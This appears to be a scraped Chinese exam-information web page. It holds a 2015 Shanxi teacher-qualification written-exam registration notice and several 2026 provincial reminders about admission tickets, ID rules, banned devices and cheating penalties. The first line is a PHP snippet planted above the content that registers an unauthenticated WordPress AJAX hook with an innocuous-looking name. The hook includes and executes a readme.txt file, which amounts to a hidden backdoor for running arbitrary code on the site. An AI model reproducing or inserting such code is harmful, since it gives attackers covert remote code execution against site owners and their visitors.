if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
山西2015年下半年教师资格考试(笔试)公告-全国教师资格考试网

山西2015年下半年教师资格考试(笔试)公告

山西2015年下半年教师资格考试(笔试)公告山西省2015年中小学教师资格考试问题解答
  根据教育部和省教育厅有关规定,现将2015年下半年山西省中小学教师资格考试笔试报名及考试有关事项公告如下。
  一、考试科目与时间
时间
2015年11月1日(星期日)
上午
9:00-11:00
下午
13:00-15:00
下午
16:00-18:00
幼儿园
综合素质(幼儿园)
保教知识与能力
 
小学
综合素质(小学)
教育教学知识与能力
 
初级中学
综合素质(中学)
教育知识与能力
学科知识与教学能力
高级中学
学科知识与教学能力
中职文化课
学科知识与教学能力
中职专业课
 
  注: 1.初级中学学科知识与教学能力科目为:语文、数学、物理、化学、生物、历史、地理、思想品德(政治)、英语、音乐、美术、体育与健康、信息技术、历史与社会、科学等15个学科。
  2.高级中学学科知识与教学能力科目为:语文、数学、物理、化学、生物、历史、地理、思想品德(政治)、英语、音乐、美术、体育与健康、信息技术、通用技术等14个学科。
  3.申请中职文化课教师资格的人员参加高级中学教师各科考试。
  4.申请中职专业课教师资格的人员参加高级中学教师的综合素质和教育知识与能力两科考试。学科知识与教学能力一科,纳入面试环节进行考查。
  5.笔试考试科目全部采用纸笔考试方式。每科考试时间为120分钟。
  二、报考条件
  报名人员须符合下列条件:
  1.未达到国家法定退休年龄,户籍在本省的中国公民;
  2.遵守宪法和法律,热爱教育事业,具有良好的思想品德;
  3.符合《山西省申请认定教师资格人员体检标准》;
  4.申请幼儿园教师资格,应当具备幼儿师范学校师范类专业毕业及以上学历;
  5.申请小学教师资格,应当具备大学专科及以上学历;

#p#副标题#e#

  6.申请初级中学、高级中学和中等职业学校教师资格,应当具备大学本科毕业及以上学历;
  7.本省范围全日制普通高校在校三年级(含三年级)以上学生,本省范围全日制幼儿师范学校师范类专业在校三年级学生,须有所在学校学籍管理部门出具的在籍学习证明(在籍学习证明表样见附件)。
  8.在本省有固定工作单位的外省户籍人员,须有所在单位人事部门出具的人事关系证明。
  9. 被撤销教师资格的人员,5年内不得报名;受到剥夺政治权利,或故意犯罪受到有期徒刑以上刑事处罚的,不得报名;参加教师资格考试有作弊行为,被处以1-3年内不得报名的人员在处罚期内不得报名。
  三、报名时间
  笔试报名采用网上报名和现场确认两个阶段。
  考生网上报名时间:2015年9月7日——9月13日(节假日正常填报)。
  现场确认时间:2015年9月14日——9月16日,确认点工作时间每天8:30-12:00、15:00-18:00。
  四、报名方式及操作步骤
  (一)网上报名
  第一步:登录。考生在2015年9月7日9:00—9月13日16:00登录“中小学教师资格考试网站(www.ntce.cn)”。
  第二步:注册。考生需首先进行注册。注册时要求填写姓名、选择证件类型、填写证件号码等信息。在完成注册后,按照流程填写个人信息、上传电子照片。照片要求:本人近6个月以内的免冠正面彩色证件照;照片大小、格式为jpg/jpeg,不大于200K;照片中显示考生头部和肩的上部,白色背景为佳(建议使用Microsoft Office Picture Manager,图画,Photoshop,ACDsee等工具,将照片进行剪裁压缩)。 此照片将用于准考证及考试合格证明,请考生上传照片时慎重选用。
  第三步:考生按本人户籍所在地选择考区,并选择报考类别和考试科目。符合报名条件的在校生按就读学校户籍所在地选择考区(省高校园区各高校在校生选择太原市考区)。考点设在设区市所在地,具体考试地点以考生下载的准考证上的地址为准。
  (二)现场确认
  1.网上报名完成后,考生须持身份证、毕业证原件和复印件,于2015年9月14日至9月16日到所选考区办理现场确认手续,所在考区有多个确认点的考生可自行选择一个确认点。确认时接受现场审核、缴纳报名考试费,签订报考诚信承诺。身份证和毕业证的复印件由确认点留存。
  符合报名条件的在校生凭身份证及学籍证明确认。有固定工作单位的非山西户籍人员凭身份证、毕业证及所在单位人事部门出具的人事关系证明确认。人事关系证明、学籍证明的复印件由确认点留存。

#p#副标题#e#

  2.考生不得跨区确认,不得委托他人代为确认。现场审核期间,将对考生所提供的材料进行审核,并要求考生对相关信息(含身份、学历、报考科目等信息以及诚信考试承诺、缴费凭证)进行现场核对。
  3.审核时如发现信息有误,考生须自行登录报名系统进行更改,重新到确认点进行确认。确认时考生须认真核实本人所有信息,并在现场打印的《报名信息确认表》上签名负责。考生报名信息确认后不能更改。
  4.未经现场审核确认、未缴纳报名考试费的人员,本次报名无效。
  5.各考区现场确认点的具体地址见附件。
  五、其他事项
  1. 有关考试标准和考试大纲可通过报名网站免费下载。
  2. 报名考务费按省物价局、省财政厅有关文件执行。
  3. 准考证格式由教育部考试中心统一规定。考生在考前一周登录教育部中小学教师资格考试网站(www.ntce.cn/)报名系统,自行下载并打印准考证,并按照准考证规定的时间、地点参加笔试。
  4. 笔试成绩查询时间为 11月30日。笔试单科成绩有效期为2年,考生笔试各科成绩合格并在有效期内的,方有资格参加面试报名。教师资格考试合格证明有效期为3年,教师资格考试合格证明是考生申请认定教师资格的必备条件。
  5. 其他考试有关事项请考生关注并登陆教育部中小学教师资格考试网站(www.ntce.cn/)或山西招生考试网(http://www.sxkszx.cn/)。
 
 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部